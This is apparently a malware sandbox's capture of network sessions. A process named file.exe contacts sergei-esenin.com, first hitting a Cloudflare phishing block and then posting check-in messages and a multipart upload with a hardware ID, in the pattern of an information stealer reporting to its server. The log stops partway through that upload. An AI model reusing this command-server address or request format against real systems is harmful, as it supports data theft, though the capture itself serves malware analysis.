2024-10-22 17:24:21 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-22 17:24:21 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	172.67.206.204	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:22 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-22 17:24:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-22 17:24:22 UTC	566	IN	HTTP/1.1 403 Forbidden Date: Tue, 22 Oct 2024 17:24:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=16BGGzYn1wyPRRqAdUceutChopfhhiqPP7qkE86q%2FFwi66Ob86dTSCd%2FIK0xKrykQ06PLI6FB%2FFZd47V1Tmo%2B8i9hkauvYTQ0KpQ7hBlZZka6Q3maw84%2Bmh%2BprG9IEJKNcpCdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2e393faa4686-DFW
2024-10-22 17:24:22 UTC	803	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-22 17:24:22 UTC	1369	IN	Data Raw: 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c Data Ascii: cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getEl
2024-10-22 17:24:22 UTC	1369	IN	Data Raw: 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: /access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-22 17:24:22 UTC	903	IN	Data Raw: 32 35 30 2e 37 36 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d Data Ascii: 250.76</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-
2024-10-22 17:24:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49708	172.67.206.204	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:23 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=avJigIQt1MdSY0ZjN3a6O7NpY6JEYHklfwRXfbRyCKo-1729617862-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-22 17:24:23 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-22 17:24:24 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2v93r8t8dol05a5vjcfi5aaoed; expires=Sat, 15 Feb 2025 11:11:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f%2BOo%2BkXVa9evJLD9OiDP1N2fiNu6k4KrKPYkWX%2Bpk5YMGuXNXaocRBW1kvVUFZMBZdi3XhYspWT4v9PzZCVuaBGbPGfv53lA1FlK3%2F33OeyVmc%2FNT2pwGK3s5mAWoqtGzAfrBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d6b2e410f42e72e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2246&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=1306859&cwnd=251&unsent_bytes=0&cid=db1dab4ef80ded06&ts=518&x=0"
2024-10-22 17:24:24 UTC	349	IN	Data Raw: 33 66 62 36 0d 0a 2b 71 6a 55 5a 35 33 30 59 6e 6e 44 35 78 74 32 43 76 67 4e 32 48 71 53 6c 2f 6e 46 31 41 58 31 38 74 30 46 55 4f 6b 66 42 48 61 42 69 71 4a 46 70 38 42 4f 57 37 43 43 4f 55 78 2b 69 6e 69 39 56 72 44 32 6e 65 66 75 59 35 53 65 72 6d 42 38 79 32 6c 70 56 4d 44 4f 74 51 76 75 6b 55 35 62 70 70 38 35 54 46 47 44 4c 37 30 55 73 4b 33 62 6f 4c 35 6e 6c 4a 36 2f 5a 44 75 47 62 32 67 56 6b 73 53 7a 44 2f 69 58 42 68 69 76 69 6e 34 54 62 35 6c 6e 74 68 50 2f 2f 35 54 6e 2b 43 65 51 69 50 38 2f 63 71 52 36 63 42 65 33 79 61 63 4d 76 34 6c 4f 41 75 47 43 64 56 51 77 32 6d 79 39 47 50 37 78 6e 61 36 38 62 5a 32 57 76 6d 45 36 6d 58 5a 69 48 70 4c 4b 73 41 37 79 6e 68 49 56 70 59 31 31 46 57 57 5a 4c 2f 52 59 39 2b 33 62 2f 2f 59 30 70 5a 4f 75 64 Data Ascii: 3fb6+qjUZ530YnnD5xt2CvgN2HqSl/nF1AX18t0FUOkfBHaBiqJFp8BOW7CCOUx+ini9VrD2nefuY5SermB8y2lpVMDOtQvukU5bpp85TFGDL70UsK3boL5nlJ6/ZDuGb2gVksSzD/iXBhivin4Tb5lnthP//5Tn+CeQiP8/cqR6cBe3yacMv4lOAuGCdVQw2my9GP7xna68bZ2WvmE6mXZiHpLKsA7ynhIVpY11FWWZL/RY9+3b//Y0pZOud
2024-10-22 17:24:24 UTC	1369	IN	Data Raw: 4b 73 41 76 2b 6d 77 41 4a 71 59 35 79 45 58 71 52 5a 72 63 56 38 50 69 52 71 4c 56 6e 6b 4a 71 31 61 44 69 50 63 47 73 53 6d 4d 72 32 53 37 2b 52 47 46 76 35 78 56 6f 52 65 4a 31 6a 72 46 72 4b 74 59 54 70 72 79 65 51 6e 50 38 2f 63 6f 4e 34 5a 52 65 54 78 62 55 4e 39 49 51 41 43 61 65 49 66 41 5a 75 6e 32 47 77 47 2b 4c 2f 6c 61 47 31 62 70 79 5a 75 6d 41 32 79 7a 4d 6d 45 34 43 4b 37 6b 58 65 6d 77 73 58 71 35 4a 35 56 48 66 55 64 76 6f 66 2f 4c 58 44 35 37 4a 6d 6b 35 47 37 61 54 79 50 63 57 41 61 6c 63 57 77 44 2f 2b 52 43 68 4f 70 68 48 51 66 5a 35 70 71 74 78 7a 32 2b 5a 71 69 39 69 6e 58 6c 36 63 6e 61 73 74 54 59 52 65 4b 69 49 4d 47 38 5a 67 48 44 65 47 61 4e 77 30 6f 6e 57 50 36 51 4c 44 37 6e 71 69 6b 5a 6f 57 56 73 58 55 2b 6a 6e 74 72 46 35 Data Ascii: KsAv+mwAJqY5yEXqRZrcV8PiRqLVnkJq1aDiPcGsSmMr2S7+RGFv5xVoReJ1jrFrKtYTpryeQnP8/coN4ZReTxbUN9IQACaeIfAZun2GwG+L/laG1bpyZumA2yzMmE4CK7kXemwsXq5J5VHfUdvof/LXD57Jmk5G7aTyPcWAalcWwD/+RChOphHQfZ5pqtxz2+Zqi9inXl6cnastTYReKiIMG8ZgHDeGaNw0onWP6QLD7nqikZoWVsXU+jntrF5
2024-10-22 17:24:24 UTC	1369	IN	Data Raw: 38 5a 67 48 44 65 47 61 4e 77 30 6f 6e 57 50 36 51 4c 44 35 6b 71 65 39 62 5a 4f 51 75 47 6f 33 69 48 70 6c 47 5a 2f 41 75 41 4c 37 6d 67 6b 57 70 34 56 2b 45 47 32 49 61 72 4d 55 2f 4c 58 56 35 37 46 2f 31 38 6a 2f 53 44 57 64 66 6b 6b 58 69 63 50 32 47 72 47 50 51 42 79 74 78 53 46 55 62 35 39 6e 73 52 37 34 39 59 6d 69 75 47 79 57 6d 72 6c 6d 50 34 64 37 5a 68 57 59 7a 4c 6f 46 2b 4a 45 53 43 61 53 44 61 78 34 6f 31 43 2b 39 41 4c 43 74 32 35 47 6d 63 49 61 47 2f 56 49 78 68 58 4e 68 41 74 6a 56 2b 42 79 2f 6b 51 78 62 2b 63 56 79 46 47 53 64 5a 37 77 63 2b 50 71 55 72 71 52 6d 6d 35 36 74 59 44 4b 43 63 32 6b 59 6b 63 65 78 43 50 53 63 44 52 2b 6d 68 44 6c 61 4b 4a 31 33 2b 6b 43 77 77 34 75 71 75 6b 6d 63 6e 4c 59 6e 4c 63 56 6b 4a 68 4f 55 69 75 35 Data Ascii: 8ZgHDeGaNw0onWP6QLD5kqe9bZOQuGo3iHplGZ/AuAL7mgkWp4V+EG2IarMU/LXV57F/18j/SDWdfkkXicP2GrGPQBytxSFUb59nsR749YmiuGyWmrlmP4d7ZhWYzLoF+JESCaSDax4o1C+9ALCt25GmcIaG/VIxhXNhAtjV+By/kQxb+cVyFGSdZ7wc+PqUrqRmm56tYDKCc2kYkcexCPScDR+mhDlaKJ13+kCww4uqukmcnLYnLcVkJhOUiu5
2024-10-22 17:24:24 UTC	1369	IN	Data Raw: 68 53 67 67 58 77 52 62 4a 31 72 76 42 65 77 75 39 75 67 72 69 66 50 30 4a 42 41 42 38 6c 63 58 46 53 48 68 4b 39 46 2b 4a 70 41 51 2b 47 4a 65 68 68 67 6c 57 6d 7a 46 50 72 38 6b 4b 75 39 59 35 75 5a 75 6d 45 7a 6a 6e 68 6e 45 4a 54 41 73 41 62 38 6d 51 38 55 71 63 55 33 56 47 2b 43 4c 2b 4a 59 31 65 4b 51 71 62 41 6e 69 4e 36 6d 4a 7a 57 48 50 54 35 55 6c 4d 4f 77 41 2f 71 61 41 52 32 70 67 48 45 51 61 5a 78 70 75 52 66 30 38 4a 71 6f 73 6d 75 5a 6d 72 35 6d 50 6f 42 79 62 52 48 59 68 50 59 43 35 39 5a 59 57 35 43 47 62 77 4e 34 6c 69 2b 6c 56 75 6d 31 6e 4b 76 32 50 39 65 52 72 57 30 34 68 58 68 70 45 5a 76 46 73 51 6a 35 6d 67 6f 53 71 59 4e 32 48 58 71 5a 59 37 51 66 2f 76 6d 56 71 72 78 6b 6d 74 44 78 4a 7a 57 54 50 54 35 55 74 4d 32 37 4b 2f 53 61 Data Ascii: hSggXwRbJ1rvBewu9ugrifP0JBAB8lcXFSHhK9F+JpAQ+GJehhglWmzFPr8kKu9Y5uZumEzjnhnEJTAsAb8mQ8UqcU3VG+CL+JY1eKQqbAniN6mJzWHPT5UlMOwA/qaAR2pgHEQaZxpuRf08JqosmuZmr5mPoBybRHYhPYC59ZYW5CGbwN4li+lVum1nKv2P9eRrW04hXhpEZvFsQj5mgoSqYN2HXqZY7Qf/vmVqrxkmtDxJzWTPT5UtM27K/Sa
2024-10-22 17:24:24 UTC	1369	IN	Data Raw: 64 72 56 43 62 61 61 4b 4a 59 71 4c 57 74 6f 4b 5a 33 6c 4e 4b 4f 63 54 47 64 64 6d 73 59 32 4e 58 34 48 4c 2b 52 44 46 76 35 78 58 38 62 59 5a 6c 67 75 78 48 38 2b 4a 36 75 73 32 61 52 6c 4c 56 74 4d 6f 31 37 5a 78 47 53 79 62 63 50 39 70 45 49 48 4b 4b 58 4f 56 6f 6f 6e 58 66 36 51 4c 44 63 6e 4c 57 34 64 39 65 50 38 58 35 79 6a 48 45 6d 54 4e 6a 4f 76 41 72 37 6b 51 77 64 70 49 4e 30 46 57 65 62 62 37 55 63 2b 2f 79 64 70 72 74 69 6d 70 53 74 62 54 6d 45 63 57 38 59 6c 59 72 34 52 66 69 4f 51 45 50 68 74 48 51 61 5a 70 31 35 2b 67 65 2b 37 4e 75 67 75 69 66 50 30 4c 35 72 50 59 68 79 5a 52 65 5a 77 4b 51 58 38 35 38 49 48 71 32 4f 64 78 4a 36 6e 47 43 7a 47 2f 50 38 6e 4b 2b 36 62 5a 53 58 2f 79 6c 79 6a 47 55 6d 54 4e 6a 70 6f 52 58 79 31 68 39 56 75 Data Ascii: drVCbaaKJYqLWtoKZ3lNKOcTGddmsY2NX4HL+RDFv5xX8bYZlguxH8+J6us2aRlLVtMo17ZxGSybcP9pEIHKKXOVoonXf6QLDcnLW4d9eP8X5yjHEmTNjOvAr7kQwdpIN0FWebb7Uc+/ydprtimpStbTmEcW8YlYr4RfiOQEPhtHQaZp15+ge+7NuguifP0L5rPYhyZReZwKQX858IHq2OdxJ6nGCzG/P8nK+6bZSX/ylyjGUmTNjpoRXy1h9Vu
2024-10-22 17:24:24 UTC	1369	IN	Data Raw: 75 6e 57 6d 30 43 76 58 7a 6c 4b 69 2f 62 70 4f 59 76 47 63 32 6a 33 70 6a 46 35 54 42 73 51 62 77 6b 67 6b 56 71 49 6f 35 57 69 69 64 64 2f 70 41 73 4e 53 41 70 4c 70 71 31 34 2f 78 66 6e 4b 4d 63 53 5a 4d 32 4d 61 34 41 50 2b 63 42 68 2b 6b 67 33 4d 52 61 4a 46 73 74 52 7a 32 38 5a 53 6e 76 57 36 57 6c 72 70 74 4f 59 31 77 5a 52 4b 65 69 76 68 46 2b 49 35 41 51 2b 47 6c 59 68 6c 6b 6e 53 2b 6c 56 75 6d 31 6e 4b 76 32 50 39 65 62 73 32 4d 31 69 33 42 6c 48 4a 33 4f 76 41 44 2f 6e 68 49 54 6f 59 4a 72 42 6d 69 54 61 72 59 62 38 50 47 64 72 72 42 6b 6b 39 44 78 4a 7a 57 54 50 54 35 55 74 63 61 78 4c 50 69 4e 51 41 54 76 6e 44 6b 54 5a 4e 6f 33 2b 68 6e 37 2f 35 53 71 74 57 47 55 6d 37 70 74 4d 34 78 31 61 77 61 62 78 62 6b 42 2f 35 6b 47 48 61 43 4b 66 78 Data Ascii: unWm0CvXzlKi/bpOYvGc2j3pjF5TBsQbwkgkVqIo5Wiidd/pAsNSApLpq14/xfnKMcSZM2Ma4AP+cBh+kg3MRaJFstRz28ZSnvW6WlrptOY1wZRKeivhF+I5AQ+GlYhlknS+lVum1nKv2P9ebs2M1i3BlHJ3OvAD/nhIToYJrBmiTarYb8PGdrrBkk9DxJzWTPT5UtcaxLPiNQATvnDkTZNo3+hn7/5SqtWGUm7ptM4x1awabxbkB/5kGHaCKfx
2024-10-22 17:24:24 UTC	1369	IN	Data Raw: 72 42 75 33 79 36 57 41 6f 47 32 51 67 4c 68 77 50 63 73 7a 4a 68 76 59 6b 6f 39 46 39 70 45 62 43 72 65 49 61 52 4d 6f 70 53 48 36 41 4c 43 74 32 35 4b 31 61 5a 6d 58 71 58 5a 2f 72 47 74 73 45 34 6a 4e 6f 51 71 2f 32 45 41 64 34 64 30 71 57 69 69 65 66 76 70 41 6f 4b 66 41 38 75 55 77 78 38 4b 67 4b 53 76 4c 61 79 5a 4d 79 6f 54 32 46 37 2f 4f 51 46 79 69 6c 32 73 53 61 34 78 73 2f 53 62 4f 30 6f 47 71 73 48 43 47 72 6f 46 67 4b 49 5a 37 63 51 58 55 33 37 55 4c 38 5a 45 57 57 2b 2f 46 64 6c 51 77 6f 79 2f 79 57 4d 2b 37 32 37 2f 32 50 39 65 6c 76 47 6b 38 6a 47 74 33 57 62 2f 51 75 77 50 6f 68 30 42 56 34 59 4d 35 54 44 6a 55 4c 37 34 4a 73 4b 33 4c 39 65 30 79 78 4d 66 76 4e 53 33 46 5a 43 59 43 32 4a 4c 6b 53 37 2b 45 51 45 50 68 77 6e 6f 47 65 70 78 Data Ascii: rBu3y6WAoG2QgLhwPcszJhvYko9F9pEbCreIaRMopSH6ALCt25K1aZmXqXZ/rGtsE4jNoQq/2EAd4d0qWiiefvpAoKfA8uUwx8KgKSvLayZMyoT2F7/OQFyil2sSa4xs/SbO0oGqsHCGroFgKIZ7cQXU37UL8ZEWW+/FdlQwoy/yWM+727/2P9elvGk8jGt3Wb/QuwPoh0BV4YM5TDjUL74JsK3L9e0yxMfvNS3FZCYC2JLkS7+EQEPhwnoGepx
2024-10-22 17:24:24 UTC	1369	IN	Data Raw: 72 57 44 35 2b 34 6e 6f 70 4f 78 61 54 57 64 62 43 73 7a 6c 73 32 33 45 2b 2b 42 44 31 76 76 78 58 39 55 4d 4d 67 68 2b 68 7a 68 74 63 50 33 35 44 7a 43 77 2b 67 33 59 4a 51 7a 66 31 53 4f 69 75 35 58 73 64 59 53 57 2f 6e 46 50 68 64 36 69 47 6d 35 44 76 4f 79 70 5a 6d 52 61 5a 43 52 71 58 63 6c 68 44 4a 49 49 72 6e 30 69 42 44 38 6d 41 34 63 74 35 51 35 57 69 69 56 4c 2b 49 68 73 4c 33 62 6d 50 67 6e 6a 39 44 6e 4a 77 65 49 63 32 67 54 6a 74 76 37 49 76 47 52 41 51 32 78 6b 6e 5a 62 52 71 78 4f 2b 6c 61 77 38 39 76 2f 35 43 6e 58 6c 4b 34 6e 61 74 73 76 50 55 48 4c 6e 65 5a 58 34 4e 67 5a 57 37 66 46 49 55 59 6d 32 6e 33 36 51 4c 43 79 6d 4c 57 6b 59 5a 53 47 76 43 41 4d 74 56 70 6f 45 35 6e 63 70 67 6a 7a 74 77 4d 4b 71 37 74 48 41 57 75 55 59 62 30 4f Data Ascii: rWD5+4nopOxaTWdbCszls23E++BD1vvxX9UMMgh+hzhtcP35DzCw+g3YJQzf1SOiu5XsdYSW/nFPhd6iGm5DvOypZmRaZCRqXclhDJIIrn0iBD8mA4ct5Q5WiiVL+IhsL3bmPgnj9DnJweIc2gTjtv7IvGRAQ2xknZbRqxO+law89v/5CnXlK4natsvPUHLneZX4NgZW7fFIUYm2n36QLCymLWkYZSGvCAMtVpoE5ncpgjztwMKq7tHAWuUYb0O
2024-10-22 17:24:24 UTC	1369	IN	Data Raw: 54 30 56 70 71 55 71 58 49 78 6d 33 70 59 4b 72 58 59 73 52 58 38 31 43 77 63 72 49 6c 48 4b 6c 2b 4c 61 4b 70 61 31 76 61 4e 70 50 59 70 31 34 6a 2f 50 33 4b 6d 62 32 45 45 6d 34 69 61 41 76 4b 61 51 41 54 76 6e 44 6b 43 4b 4d 49 38 39 46 6a 69 74 63 50 6e 38 57 53 46 67 72 6c 6b 4a 49 67 36 57 43 71 31 32 4c 45 56 2f 4e 51 78 46 71 57 54 62 42 64 34 6e 56 47 45 4e 65 4c 79 69 36 54 30 51 71 33 53 6a 6e 45 78 69 33 4e 68 56 4e 61 4b 72 6b 57 6e 31 69 30 4a 70 70 56 36 56 6b 32 67 4c 59 73 4f 38 2f 57 56 6f 50 5a 34 32 59 6e 2f 63 58 4c 54 4c 69 68 55 69 6f 72 75 52 62 69 59 44 52 71 69 69 33 6f 47 65 70 78 73 72 42 75 33 79 36 57 49 76 57 61 48 6e 61 35 71 4e 70 31 44 57 44 4f 65 7a 37 45 37 77 61 45 52 48 4c 48 48 58 78 64 2b 6d 53 2f 30 57 4f 69 31 77 Data Ascii: T0VpqUqXIxm3pYKrXYsRX81CwcrIlHKl+LaKpa1vaNpPYp14j/P3Kmb2EEm4iaAvKaQATvnDkCKMI89FjitcPn8WSFgrlkJIg6WCq12LEV/NQxFqWTbBd4nVGENeLyi6T0Qq3SjnExi3NhVNaKrkWn1i0JppV6Vk2gLYsO8/WVoPZ42Yn/cXLTLihUioruRbiYDRqii3oGepxsrBu3y6WIvWaHna5qNp1DWDOez7E7waERHLHHXxd+mS/0WOi1w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49709	172.67.206.204	443	6900	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-22 17:24:26 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=avJigIQt1MdSY0ZjN3a6O7NpY6JEYHklfwRXfbRyCKo-1729617862-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: sergei-esenin.com
2024-10-22 17:24:26 UTC	12851	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 35 39 36 32 34 36 34 42 44 44 45 42 34 41 38 44 31 34 36 35 30 35 33 37 39 39 37 43 36 43 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 